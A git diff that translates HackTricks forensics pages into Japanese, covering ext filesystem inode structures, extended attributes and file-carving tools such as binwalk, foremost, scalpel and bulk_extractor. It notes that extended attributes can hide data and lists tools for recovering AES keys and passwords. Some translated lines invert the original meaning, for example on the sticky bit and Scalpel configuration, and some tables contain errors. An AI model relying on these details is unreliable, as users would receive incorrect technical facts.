contain the list of **blocks** that **contains** the actual **data** of a **file**.\ -If the file is big, and inode **may contain pointers** to **other inodes** that point to the blocks/more inodes containing the file data. +**inodes**には、**ファイル**の実際の**データ**を含む**ブロック**のリストが含まれています。\ +ファイルが大きい場合、inodeにはファイルデータを含むブロック/より多くのinodeを指す他のinodeへのポインタが含まれる場合があります。 ![](<../../../.gitbook/assets/image (416).png>) -In **Ext2** and **Ext3** inodes are of size **128B**, **Ext4** currently uses **156B** but allocates **256B** on disk to allow a future expansion. +**Ext2**および**Ext3**では、inodeのサイズは**128B**です。**Ext4**は現在**156B**を使用していますが、将来の拡張を許可するためにディスク上に**256B**を割り当てます。 -Inode structure: +inodeの構造: -| Offset | Size | Name | DescriptionF | +| オフセット | サイズ | 名前 | 説明 | | ------ | ---- | ----------------- | ------------------------------------------------ | -| 0x0 | 2 | File Mode | File mode and type | -| 0x2 | 2 | UID | Lower 16 bits of owner ID | -| 0x4 | 4 | Size Il | Lower 32 bits of file size | -| 0x8 | 4 | Atime | Access time in seconds since epoch | -| 0xC | 4 | Ctime | Change time in seconds since epoch | -| 0x10 | 4 | Mtime | Modify time in seconds since epoch | -| 0x14 | 4 | Dtime | Delete time in seconds since epoch | -| 0x18 | 2 | GID | Lower 16 bits of group ID | -| 0x1A | 2 | Hlink count | Hard link count | -| 0xC | 4 | Blocks Io | Lower 32 bits of block count | -| 0x20 | 4 | Flags | Flags | -| 0x24 | 4 | Union osd1 | Linux: I version | -| 0x28 | 69 | Block\[15] | 15 points to data block | -| 0x64 | 4 | Version | File version for NFS | -| 0x68 | 4 | File ACL low | Lower 32 bits of extended attributes (ACL, etc) | -| 0x6C | 4 | File size hi | Upper 32 bits of file size (ext4 only) | -| 0x70 | 4 | Obsolete fragment | An obsoleted fragment address | -| 0x74 | 12 | Osd 2 | Second operating system dependent union | -| 0x74 | 2 | Blocks hi | Upper 16 bits of block count | -| 0x76 | 2 | File ACL hi | Upper 16 bits of extended attributes (ACL, etc.) | -| 0x78 | 2 | UID hi | Upper 16 bits of owner ID | -| 0x7A | 2 | GID hi | Upper 16 bits of group ID | -| 0x7C | 2 | Checksum Io | Lower 16 bits of inode checksum | +| 0x0 | 2 | ファイルモード | ファイルモードとタイプ | +| 0x2 | 2 | UID | オーナーIDの下位16ビット | +| 0x4 | 4 | サイズ Il | ファイルサイズの下位32ビット | +| 0x8 | 4 | Atime | エポックからのアクセス時間(秒単位) | +| 0xC | 4 | Ctime | エポックからの変更時間(秒単位) | +| 0x10 | 4 | Mtime | エポックからの変更時間(秒単位) | +| 0x14 | 4 | Dtime | エポックからの削除時間(秒単位) | +| 0x18 | 2 | GID | グループIDの下位16ビット | +| 0x1A | 2 | Hlink count | ハードリンクの数 | +| 0xC | 4 | Blocks Io | ブロック数の下位32ビット | +| 0x20 | 4 | フラグ | フラグ | +| 0x24 | 4 | Union osd1 | Linux:Iバージョン | +| 0x28 | 69 | Block\[15] | データブロックへのポイント(15個) | +| 0x64 | 4 | バージョン | NFS用のファイルバージョン | +| 0x68 | 4 | File ACL low | 拡張属性(ACLなど)の下位32ビット | +| 0x6C | 4 | File size hi | ファイルサイズの上位32ビット(ext4のみ) | +| 0x70 | 4 | Obsolete fragment | 廃止されたフラグメントアドレス | +| 0x74 | 12 | Osd 2 | 2番目のオペレーティングシステム依存のユニオン | +| 0x74 | 2 | Blocks hi | ブロック数の上位16ビット | +| 0x76 | 2 | File ACL hi | 拡張属性(ACLなど)の上位16ビット | +| 0x78 | 2 | UID hi | オーナーIDの上位16ビット | +| 0x7A | 2 | GID hi | グループIDの上位16ビット | +| 0x7C | 2 | Checksum Io | inodeチェックサムの下位16ビット | -"Modify" is the timestamp of the last time the file's _content_ has been modified. This is often called "_mtime_".\ -"Change" is the timestamp of the last time the file's _inode_ has been changed, like by changing permissions, ownership, file name, and the number of hard links. It's often called "_ctime_". +「Modify」は、ファイルの_内容_が最後に変更された時間のタイムスタンプです。これは通常「_mtime_」と呼ばれます。\ +「Change」は、ファイルの_inode_が変更された最後の時間のタイムスタンプです。これは、アクセス許可、所有権、ファイル名、ハードリンクの数などを変更することによって呼ばれることがあります。これは通常「_ctime_」と呼ばれます。 -Inode structure extended (Ext4): +拡張されたinodeの構造(Ext4): -| Offset | Size | Name | Description | +| オフセット | サイズ | 名前 | 説明 | | ------ | ---- | ------------ | ------------------------------------------- | -| 0x80 | 2 | Extra size | How many bytes beyond standard 128 are used | -| 0x82 | 2 | Checksum hi | Upper 16 bits of inode checksum | -| 0x84 | 4 | Ctime extra | Change time extra bits | -| 0x88 | 4 | Mtime extra | Modify time extra bits | -| 0x8C | 4 | Atime extra | Access time extra bits | -| 0x90 | 4 | Crtime | File create time (seconds since epoch) | -| 0x94 | 4 | Crtime extra | File create time extra bits | -| 0x98 | 4 | Version hi | Upper 32 bits of version | -| 0x9C | | Unused | Reserved space for future expansions | +| 0x80 | 2 | Extra size | 標準の128バイトを超えるバイト数 | +| 0x82 | 2 | Checksum hi | inodeチェックサムの上位16ビット | +| 0x84 | 4 | Ctime extra | 変更時間の追加ビット | +| 0x88 | 4 | Mtime extra | 変更時間の追加ビット | +| 0x8C | 4 | Atime extra | アクセス時間の追加ビット | +| 0x90 | 4 | Crtime | ファイル作成時間(エポックからの秒数) | +| 0x94 | 4 | Crtime extra | ファイル作成時間の追加ビット | +| 0x98 | 4 | Version hi | バージョンの上位32ビット | +| 0x9C | | Unused | 将来の拡張のための予約済みスペース | -Special inodes: +特殊なinode: -| Inode | Special Purpose | +| Inode | 特殊な目的 | | ----- | ---------------------------------------------------- | -| 0 | No such inode, numberings starts at 1 | -| 1 | Defective block list | -| 2 | Root directory | -| 3 | User quotas | -| 4 | Group quotas | -| 5 | Boot loader | -| 6 | Undelete directory | -| 7 | Reserved group descriptors (for resizing filesystem) | -| 8 | Journal | -| 9 | Exclude inode (for snapshots) | -| 10 | Replica inode | -| 11 | First non-reserved inode (often lost + found) | +| 0 | そのようなinodeは存在せず、番号付けは1から開始されます | +| 1 | 欠陥ブロックリスト | +| 2 | ルートディレクトリ | +| 3 | ユーザークォータ | +| 4 | グループクォータ | +| 5 | ブートローダ | +| 6 | 削除されたディレクトリ | +| 7 | 予約済みグループ記述子(ファイルシステムのサイズ変更用) | +| 8 | ジャーナル | +| 9 | スナップショット用の除外inode | +| 10 | レプリカinode | +| 11 | 最初の非予約inode(しばしばlost + found) | {% hint style="info" %} -Not that the creation time only appears in Ext4. +作成時刻はExt4にのみ表示されることに注意してください。 {% endhint %} -By knowing the inode number you can easily find its index: - -* **Block group** where an inode belongs: (Inode number - 1) / (Inodes per group) -* **Index inside it's group**: (Inode number - 1) mod(Inodes/groups) -* **Offset** into **inode table**: Inode number \* (Inode size) -* The "-1" is because the inode 0 is undefined (not used) +inode番号を知っている場合、そのインデックスを簡単に見つけることができます: +* inodeが所属する**ブロックグループ**:(Inode番号 - 1)/(グループごとのinode数) +* グループ内の**インデックス**:(Inode番号 - 1)mod(Inodes/グループ) +* **inodeテーブル**への**オフセット**:Inode番号 \*(Inodeサイズ) +* "-1"は、inode 0が未定義(使用されていない)であるためです。 ```bash ls -ali /bin | sort -n #Get all inode numbers and sort by them stat /bin/ls #Get the inode information of a file istat -o /path/to/image.ext 657103 #Get information of that inode inside the given ext file icat -o /path/to/image.ext 657103 #Cat the file ``` +ファイルモード -File Mode - -| Number | Description | -| ------ | --------------------------------------------------------------------------------------------------- | +| 数字 | 説明 | +| ---- | ---------------------------------------------------------------------------------------------------- | | **15** | **Reg/Slink-13/Socket-14** | | **14** | **Directory/Block Bit 13** | | **13** | **Char Device/Block Bit 14** | | **12** | **FIFO** | | 11 | Set UID | | 10 | Set GID | -| 9 | Sticky Bit (without it, anyone with Write & exec perms on a directory can delete and rename files) | -| 8 | Owner Read | -| 7 | Owner Write | -| 6 | Owner Exec | -| 5 | Group Read | -| 4 | Group Write | -| 3 | Group Exec | -| 2 | Others Read | -| 1 | Others Write | -| 0 | Others Exec | +| 9 | Sticky Bit(ディレクトリ上の書き込みと実行権限を持つユーザーはファイルを削除および名前変更できます) | +| 8 | オーナーの読み取り権限 | +| 7 | オーナーの書き込み権限 | +| 6 | オーナーの実行権限 | +| 5 | グループの読み取り権限 | +| 4 | グループの書き込み権限 | +| 3 | グループの実行権限 | +| 2 | その他のユーザーの読み取り権限 | +| 1 | その他のユーザーの書き込み権限 | +| 0 | その他のユーザーの実行権限 | -The bold bits (12, 13, 14, 15) indicate the type of file the file is (a directory, socket...) only one of the options in bold may exit. +太字のビット(12、13、14、15)は、ファイルの種類(ディレクトリ、ソケットなど)を示しており、太字のオプションのいずれか1つしか存在しません。 -Directories +ディレクトリ -| Offset | Size | Name | Description | -| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 0x0 | 4 | Inode | | -| 0x4 | 2 | Rec len | Record length | -| 0x6 | 1 | Name len | Name length | -| 0x7 | 1 | File type |

0x00 Unknown
0x01 Regular

0x02 Director

0x03 Char device

0x04 Block device

0x05 FIFO

0x06 Socket

0x07 Sym link

| -| 0x8 | | Name | Name string (up to 255 characters) | +| オフセット | サイズ | 名前 | 説明 | +| ------ | ---- | --------- | -------------------------------------------------------------------------------------------- | +| 0x0 | 4 | Inode | | +| 0x4 | 2 | Rec len | レコードの長さ | +| 0x6 | 1 | Name len | 名前の長さ | +| 0x7 | 1 | File type |

0x00 不明
0x01 通常

0x02 ディレクトリ

0x03 文字デバイス

0x04 ブロックデバイス

0x05 FIFO

0x06 ソケット

0x07 シンボリックリンク

| +| 0x8 | | Name | 名前の文字列(最大255文字まで) | -**To increase the performance, Root hash Directory blocks may be used.** +**パフォーマンスを向上させるために、ルートハッシュディレクトリブロックを使用することができます。** -**Extended Attributes** +**拡張属性** -Can be stored in +以下に保存することができます。 -* Extra space between inodes (256 - inode size, usually = 100) -* A data block pointed to by file\_acl in inode +* inode内のfile\_aclが指すデータブロック +* inodeの間の余分なスペース(256 - inodeサイズ、通常は100) -Can be used to store anything as a users attribute if the name starts with "user". So data can be hidden this way. +"ユーザー"で始まる名前の場合、ユーザーの属性として任意のデータを保存することができます。この方法でデータを隠すことができます。 -Extended Attributes Entries - -| Offset | Size | Name | Description | -| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| 0x0 | 1 | Name len | Length of attribute name | -| 0x1 | 1 | Name index |

0x0 = no prefix

0x1 = user. Prefix

0x2 = system.posix_acl_access

0x3 = system.posix_acl_default

0x4 = trusted.

0x6 = security.

0x7 = system.

0x8 = system.richacl

| -| 0x2 | 2 | Value offs | Offset from first inode entry or start of block | -| 0x4 | 4 | Value blocks | Disk block where value stored or zero for this block | -| 0x8 | 4 | Value size | Length of value | -| 0xC | 4 | Hash | Hash for attribs in block or zero if in inode | -| 0x10 | | Name | Attribute name w/o trailing NULL | +拡張属性エントリ +| オフセット | サイズ | 名前 | 説明 | +| ------ | ---- | ------------ | -------------------------------------------------------------------------------------------- | +| 0x0 | 1 | Name len | 属性名の長さ | +| 0x1 | 1 | Name index |

0x0 = プレフィックスなし

0x1 = user. プレフィックス

0x2 = system.posix_acl_access

0x3 = system.posix_acl_default

0x4 = trusted.

0x6 = security.

0x7 = system.

0x8 = system.richacl

| +| 0x2 | 2 | Value offs | 最初のinodeエントリまたはブロックの開始位置からのオフセット | +| 0x4 | 4 | Value blocks | 値が保存されているディスクブロック、またはこのブロックの場合はゼロ | +| 0x8 | 4 | Value size | 値の長さ | +| 0xC | 4 | Hash | ブロック内の属性のハッシュ、またはinode内の場合はゼロ | +| 0x10 | | Name | 末尾のNULLを含まない属性名 | ```bash setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes getfattr file.txt #Get extended attribute names of a file getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret" ``` +## ファイルシステムの表示 -## Filesystem View +ファイルシステムの内容を表示するには、次の方法があります。 -To see the contents of the file system, you can **use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ -Or you can mount it in your linux using `mount` command. +- 無料のツールを使用する:[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html) +- または、`mount`コマンドを使用してLinuxにマウントすることもできます。 [https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 6e1cc162e..86927398d 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,127 +1,115 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にはさらに多くのツールがあります。 ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +フォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。これをダウンロードし、インストールして、ファイルを取り出すためにファイルをインジェストするように設定します。注意:Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.\ -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.\ -**Useful commands**: - +**Binwalk**は、画像や音声ファイルなどのバイナリファイルを検索して埋め込まれたファイルやデータを見つけるためのツールです。\ +`apt`を使用してインストールすることができますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。\ +**便利なコマンド**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +別の隠れたファイルを見つけるための一般的なツールは**foremost**です。`/etc/foremost.conf`にforemostの設定ファイルがあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルの種類を設定ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +このツールはKaliに含まれていますが、ここで見つけることもできます:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +このツールはイメージをスキャンし、**pcapファイル**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を抽出します。以下の手順を実行するだけです: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +**すべての情報**を通じてナビゲートし、ツールが収集したデータ(パスワード?)を**分析**し、**パケット**を解析し([**Pcaps解析**](../pcap-inspection/)を参照)、**異常なドメイン**(マルウェアや存在しないドメインに関連するドメイン)を検索します。 ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) +[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)で見つけることができます。 -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイルタイプ**を選択できます。 ![](<../../../.gitbook/assets/image (524).png>) ## binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)をチェックしてください。 -### Features of BinVis +### BinVisの特徴 -* Visual and active **structure viewer** -* Multiple plots for different focus points -* Focusing on portions of a sample -* **Seeing stings and resources**, in PE or ELF executables e. g. -* Getting **patterns** for cryptanalysis on files -* **Spotting** packer or encoder algorithms -* **Identify** Steganography by patterns -* **Visual** binary-diffing +* 視覚的でアクティブな**構造ビューア** +* 異なる焦点点のための複数のプロット +* サンプルの一部に焦点を当てる +* PEまたはELF実行可能ファイルでの**文字列とリソースの表示** +* ファイルの暗号解析のための**パターン**の取得 +* パッカーやエンコーダのアルゴリズムの**特定** +* パターンによるステガノグラフィの**識別** +* **ビジュアル**バイナリ差分 -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 -# Specific Data Carving Tools +# 特定のデータ復元ツール ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +TrueCryptやBitLockerで使用されるような128、192、256ビットのAESキーを検索するためのキースケジュールを検索します。 -Download [here](https://sourceforge.net/projects/findaes/). +[ここからダウンロード](https://sourceforge.net/projects/findaes/)できます。 -# Complementary tools +# 補完ツール -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +ターミナルから画像を表示するために[**viu**](https://github.com/atanunq/viu)を使用できます。\ +Linuxのコマンドラインツール**pdftotext**を使用して、PDFをテキストに変換して読むことができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
- - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 6968127c8..db215f972 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,92 +1,82 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Carving tools +# データの抽出ツール ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけるように設定します。ただし、Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。 ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk**は、埋め込まれたファイルやデータを含むバイナリファイル(画像や音声ファイルなど)を検索するためのツールです。 +`apt`を使用してインストールすることができますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。 +**便利なコマンド**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +別の隠れたファイルを見つけるための一般的なツールは**foremost**です。`/etc/foremost.conf`にforemostの設定ファイルがあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルの種類を設定ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output 